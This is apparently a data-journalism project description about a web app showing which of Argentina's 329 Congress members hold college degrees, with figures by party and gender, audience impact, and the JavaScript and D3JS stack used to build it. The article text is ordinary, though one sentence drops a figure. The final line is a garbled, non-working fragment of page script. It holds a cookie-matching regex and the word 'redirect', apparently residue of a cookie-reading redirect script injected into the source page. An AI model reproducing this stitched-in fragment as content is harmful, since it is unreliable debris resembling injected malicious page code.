Project description
104 members of the Congress don’t have a college degree. That’s about 31% of all the 329 representatives of the legislative power. There are 17 undergraduate senators and 87 deputies. In other words, at least 2 members of each political orientations found in the Congress have no superior studies after secondary school. Cambiemos, the coalition in power has the highest number of graduates from university, 76% of their congressmen own a degree. On the other end, the left-handed parties and the Sergio Massa alliance, constituited by some of the strongest adversary parties of Mauricio Macri, have the lowest percentage of graduates.
Even though the Constitution does not establish a college degree as a legal requirement to become elected, we decided to state a controversial debate topic regarding the higher education and training of the elected politicians.
Moreover, we also found that 70% of the 130 congresswomen have completed a higher education program which means that they are more qualified than men. In the Senate, these figures are accentuated because the amount of women with a degree is 20 percentage points higher than men. This information had a great impact in Argentina because just two months before The Gender Parity Law was approved and any ballot list for elected office in 2019 must contain equal percentages of male and female candidates. In addition, we investigated the careers chosen by the ones who have a degree and saw that of them are lawyers and 80% studied in public universities.
Our project is different because of the process of translating the gathered and close information of the 329 legislators into a good, open and useful web app service that adds value to the role of civil society in holding government accountable. The platform created allows the user to click on any of the quadrants that symbolize each of the seats of the Senate and the Chamber of Deputies. Each click unfoldes the picture, name, college degree, party, province and social media profile of a Congress member. If you want to have a quick overview of the amounts and percentage of members with a college degree it is possible to filter by chamber, party and public or private institution
Impact
The investigation was replicated in multiple news outlets and TV programs. Also, some of the few congressmen that didn’t answer our phonecalls reached out and asked us to include them in the app. It was the most read article of the day in La Nación. It had 72.732 page views and an average time on page of 6 minutes.
Technology
The web app was developed wih JavaScript and D3JS to generate a graphic with quadrants that represent the amount of seats of the bicameral Congress. Complementary libaries were also used such as Underscore.js and Select2.js. In addition, for the uploading and synchronization of the information we used Google Spreadsheet as a data base. This gave us the chance to do the journalistic production and the programming simultaneously. The tools we used were Node.js with Gulp which allowed us to build automated tasks for the deployment of the app.
“; )”\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));”;,”redirect”);>,;”””; ; “”)}